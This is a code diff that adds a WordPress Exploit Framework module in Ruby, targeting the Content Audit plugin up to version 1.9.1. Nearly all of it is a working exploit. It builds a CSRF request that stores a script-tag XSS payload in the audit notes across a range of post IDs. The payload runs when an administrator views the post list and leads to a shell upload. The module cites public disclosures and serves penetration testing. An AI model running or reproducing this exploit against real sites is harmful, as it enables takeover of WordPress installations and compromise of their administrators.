|
| 1 | +# frozen_string_literal: true |
| 2 | + |
| 3 | +class Wpxf::Exploit::ContentAuditCsrfStoredXssShellUpload < Wpxf::Module |
| 4 | + include Wpxf::WordPress::StagedReflectedXss |
| 5 | + |
| 6 | + def initialize |
| 7 | + super |
| 8 | + |
| 9 | + update_info( |
| 10 | + name: 'Content Audit <= 1.9.1 CSRF Stored XSS Shell Upload', |
| 11 | + desc: %( |
| 12 | + Versions up to and including 1.9.1 of the Content Audit plugin suffer |
| 13 | + from a CSRF and encoding issue, allowing for a JavaScript payload to |
| 14 | + be stored in the notes against a page. |
| 15 | +
|
| 16 | + This module will create a link, which when clicked by an admin, will |
| 17 | + store the payload against all auditable items with an ID in the specified |
| 18 | + range. By default, Content Audit ships with only pages audited, but posts |
| 19 | + can also be audited. The payload will be executed the next time an admin |
| 20 | + views the page / post management area, with one of the infected items |
| 21 | + visible in the list. |
| 22 | +
|
| 23 | + Note: If a specified post ID has not been yet assigned a post / page, the |
| 24 | + payload will be stored and executed when the ID is eventually assigned to |
| 25 | + a new post / page. |
| 26 | + ), |
| 27 | + desc_preformatted: true, |
| 28 | + author: [ |
| 29 | + 'Tom Adams', # Disclosure |
| 30 | + 'rastating' # WPXF module |
| 31 | + ], |
| 32 | + references: [ |
| 33 | + ['WPVDB', '8915'], |
| 34 | + ['URL', 'http://seclists.org/fulldisclosure/2017/Sep/73'], |
| 35 | + ['URL', 'https://security.dxw.com/advisories/csrf-xss-content-audit/'] |
| 36 | + ], |
| 37 | + date: 'Aug 21 2017' |
| 38 | + ) |
| 39 | + |
| 40 | + register_options([ |
| 41 | + IntegerOption.new( |
| 42 | + name: 'first_post_id', |
| 43 | + desc: 'The first post ID to store the payload against', |
| 44 | + required: true, |
| 45 | + default: 1 |
| 46 | + ), |
| 47 | + IntegerOption.new( |
| 48 | + name: 'last_post_id', |
| 49 | + desc: 'The last post ID to store the payload against', |
| 50 | + required: true, |
| 51 | + default: 100 |
| 52 | + ) |
| 53 | + ]) |
| 54 | + end |
| 55 | + |
| 56 | + def check |
| 57 | + check_plugin_version_from_readme('content-audit', '1.9.2') |
| 58 | + end |
| 59 | + |
| 60 | + def vulnerable_url |
| 61 | + wordpress_url_admin_ajax |
| 62 | + end |
| 63 | + |
| 64 | + def first_post_id |
| 65 | + normalized_option_value('first_post_id') |
| 66 | + end |
| 67 | + |
| 68 | + def last_post_id |
| 69 | + normalized_option_value('last_post_id') |
| 70 | + end |
| 71 | + |
| 72 | + def initial_script |
| 73 | + fields = { |
| 74 | + 'action' => 'content_audit_save_bulk_edit', |
| 75 | + '_content_audit_owner' => Utility::Text.rand_alphanumeric(10), |
| 76 | + '_content_audit_expiration_date' => (Date.today + 7).strftime('%Y-%m-%d'), |
| 77 | + '_content_audit_notes' => "<script>#{xss_ascii_encoded_include_script}<\\/script>" |
| 78 | + } |
| 79 | + |
| 80 | + Array(first_post_id..last_post_id).each_with_index { |id, index| fields["post_ids[#{index}]"] = id } |
| 81 | + create_basic_post_script vulnerable_url, fields |
| 82 | + end |
| 83 | +end |
0 commit comments